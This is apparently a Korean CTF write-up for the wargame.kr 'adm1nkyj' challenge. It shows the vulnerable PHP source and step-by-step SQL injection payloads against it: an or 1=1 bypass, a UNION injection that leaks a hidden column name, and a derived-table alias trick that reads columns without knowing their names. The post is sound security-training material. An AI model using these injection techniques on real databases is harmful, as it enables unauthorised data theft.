Oh! JUN
[wargame.kr] adm1nkyj (공부 많이 되는 문제!)(컬럼 모르는 상태에서 튜플 구하기!) 본문
[wargame.kr] adm1nkyj (공부 많이 되는 문제!)(컬럼 모르는 상태에서 튜플 구하기!)
Kwon Oh! JUN 2023. 2. 10. 01:54<?php
error_reporting(0);
include("./config.php"); // hidden column name, $FLAG.
mysql_connect("localhost","adm1nkyj","adm1nkyj_pz");
mysql_select_db("adm1nkyj");
/**********************************************************************************************************************/
function rand_string()
{
$string = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz";
return str_shuffle($string);
}
function reset_flag($count_column, $flag_column)
{
$flag = rand_string();
$query = mysql_fetch_array(mysql_query("SELECT $count_column, $flag_column FROM findflag_2"));
if($query[$count_column] == 150)
{
if(mysql_query("UPDATE findflag_2 SET $flag_column='{$flag}';"))
{
mysql_query("UPDATE findflag_2 SET $count_column=0;");
echo "reset flag<hr>";
}
return $flag;
}
else
{
mysql_query("UPDATE findflag_2 SET $count_column=($query[$count_column] + 1);");
}
return $query[$flag_column];
}
function get_pw($pw_column){
$query = mysql_fetch_array(mysql_query("select $pw_column from findflag_2 limit 1"));
return $query[$pw_column];
}
/**********************************************************************************************************************/
$tmp_flag = "";
$tmp_pw = "";
$id = $_GET['id'];
$pw = $_GET['pw'];
$flags = $_GET['flag'];
if(isset($id))
{
if(preg_match("/information|schema|user/i", $id) || substr_count($id,"(") > 1) exit("no hack");
if(preg_match("/information|schema|user/i", $pw) || substr_count($pw,"(") > 1) exit("no hack");
$tmp_flag = reset_flag($count_column, $flag_column);
$tmp_pw = get_pw($pw_column);
$query = mysql_fetch_array(mysql_query("SELECT * FROM findflag_2 WHERE $id_column='{$id}' and $pw_column='{$pw}';"));
if($query[$id_column])
{
if(isset($pw) && isset($flags) && $pw === $tmp_pw && $flags === $tmp_flag)
{
echo "good job!!<br />FLAG : <b>".$FLAG."</b><hr>";
}
else
{
echo "Hello ".$query[$id_column]."<hr>";
}
}
} else {
highlight_file(__FILE__);
}
?>
FLAG를 획득하기 위해 필요한 값
id, pw, flag
예외조건
information.schema x
user x
() 2개 이상 x
함수조건
reset_flag : 쿼리 실행할때마다 count_column이 1씩 증가해서 150되면 flag값이 초기화 됨.(blind SQL 인젝션 x)
$query = mysql_fetch_array(mysql_query("SELECT * FROM findflag_2 WHERE $id_column='{$id}' and $pw_column='{$pw}';"));
echo "Hello ".$query[$id_column]."<hr>";
쿼리 실행되면 쿼리에서 id_column 를 참조합니다.
1. id
"SELECT * FROM findflag_2 WHERE $id_column='' or 1=1%23' and $pw_column='{$pw}';"
(?id=' or 1=1%23)
"SELECT * FROM findflag_2 WHERE $id_column='' or 1=1%23' and $pw_column='{$pw}';"
뒤에 주석 이후 쿼리는 버리고 앞에 보면
findflag_2 테이블의 모든 값을 조회합니다.
그리고 id_column 컬럼을 참조하니까 id 값을 구할 수 있습니다.
2. pw
SELECT * FROM findflag_2 WHERE $id_column='{$id}' and $pw_column='{$pw}'
id의 경우 코드에서 id_column를 참조하니까 id값을 구할 수 있었지만
pw는 컬럼을 구해야 pw 값을 구할 수 있습니다.
UNION SQL 인젝션 공격을 사용해서 문제를 해결해 볼 것이다.
먼저, 위에서 'hello adm1ngnngn' 처럼 쿼리에 반응하는 컬럼의 위치가 어딘지 파악 할 것이다.
1,2,3,4,5 까지 넣어봤는데 2만 출력되는것을 보면 쿼리에 반응하는 위치는 2번째 자리이다.
이것을 활용해서 pw의 컬럼을 구해볼것이다.
SELECT * FROM findflag_2 WHERE $id_column='' and 1=2 union select 1,' and $pw_column=',2,3,4,5%23'
' and $pw_column='가 ' ' 사이에 있어서 문자열 처리된다.
(xPw4coaa1sslfe=)
' and $pw_column='에 and가 포함되어 있어서 출력될때 and와 pw컬럼이 같이 출력된다.
pw컬럼 구했으니 이제 pw값을 구하겠습니다.
(!@SA#$!)
사용한 UNION 형태에서 (select pw컬럼 from findflag_2) 해주면 된다.
3. 대망의 flag
$query = mysql_fetch_array(mysql_query("SELECT * FROM findflag_2 WHERE $id_column='{$id}' and $pw_column='{$pw}';"));
id처럼 id_column을 참조하지도 않고
pw처럼 pw컬럼을 문자열 시켜서 조회할수도 없다.
문제를 해결하기 전에 테스트를 해보겠습니다.
members 테이블의 값은 위와 같습니다.
먼저 결과부터 보여주면 값은 위와 같습니다.
하나씩 이해해봅시다.
union select * from members limit 1,1
members 테이블에서 다 조회하고 첫 번째 튜플만 가져옵니다.
select 1,2,3 as a,4
컬럼 : 1/2/a/4
3 마지막 컬럼이 없어지고 a, 4 새로운 컬럼이 생깁니다.
members 테이블에서 password 컬럼은 a 컬럼이 되었습니다.
여기서 중요한건 우리는 password 컬럼 이름을 알지 못하는 상태인겁니다.
하지만 password컬럼 이름을 a로 지정해줘서 우리는 이제 a의 값을 조회할수 있다는것입니다.
select 1,a,3,4 지정해준 이유는
위에서 pw 구할 때 UNION 공격을 사용을 했는데
쿼리에 반응하는 위치가 두번째 위치이기에
a의 값을 두번째에 놓은겁니다.
하나만 더 해보겠습니다.
select 3,4 as a,1,2
컬럼 3/a/1/2
이번에도 마지막 4 컬럼이 사라지고 a/1/2가 들어갔습니다.
이번에는 members 테이블의 id 컬럼에 a가 대신하게 되었습니다.
다시 원래 문제로 돌아가서
?id=' and 0 union select 1,a,3,4,5 from (select 1,3,4,5 as a,2 union select * from findflag_2 limit 1,1)x%23
컬럼 : 1/3/4/a/2
findflag_2 테이블의 4번째 컬럼을 a로 우리가 지정을 해줬습니다.
(findflag_2에서 원래 a의 컬럼 이름은 우리는 모르니까 임의로 a로 정하고 a컬럼 조회해서 값을 찾는겁니다.)
운 좋게 4번째 컬럼이 우리가 찾고자 하는 컬럼입니다.
(추가)
?id=' and 0 union select 1,a,3,4,5 from (select 3,4,5 as a,1,2 union select * from findflag_2 limit 1,1)x%23
컬럼 : 3/4/a/1/2
세 번째 컬럼에는 pw가 들어가 있습니다.
이런식으로 해서 1~5번째 컬럼 다 구할 수 도 있겠습니다.
4. 결과확인
?id=adm1ngnngn&pw=!%40SA%23%24!&flag=N4wxpthJf7GmHXQ9oBZTvCdu5e3DnIUVl2biLsKgEYMrO8j0RFWaPSkcAy16zq
참고로 pw 값
!@SA#$!
요거 URL Encoding 해줘야 합니다~~~!!!
'문제풀이 > DreamHack' 카테고리의 다른 글
[wargame.kr] zairo (공부 많이 되는 문제!!)(blind_SQL_INJECTION 심화) (0) | 2023.02.18 |
---|---|
[DreamHack] weblog-1 풀이 (0) | 2022.12.28 |
[DreamHack] command-injection-1 (0) | 2022.12.28 |
[DreamHack] baby-sqlite 풀이 (0) | 2022.12.28 |
[DreamHack] blind sql injection advanced 문제풀이 (1) | 2022.11.24 |